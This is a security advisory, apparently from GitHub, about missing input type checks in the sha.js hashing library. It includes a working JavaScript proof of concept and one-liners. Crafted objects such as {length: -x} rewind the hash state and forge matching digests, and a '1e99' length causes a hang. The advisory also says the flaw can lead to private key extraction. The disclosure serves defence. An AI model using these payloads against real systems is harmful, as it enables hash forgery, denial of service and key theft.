Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe

Or just: console require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)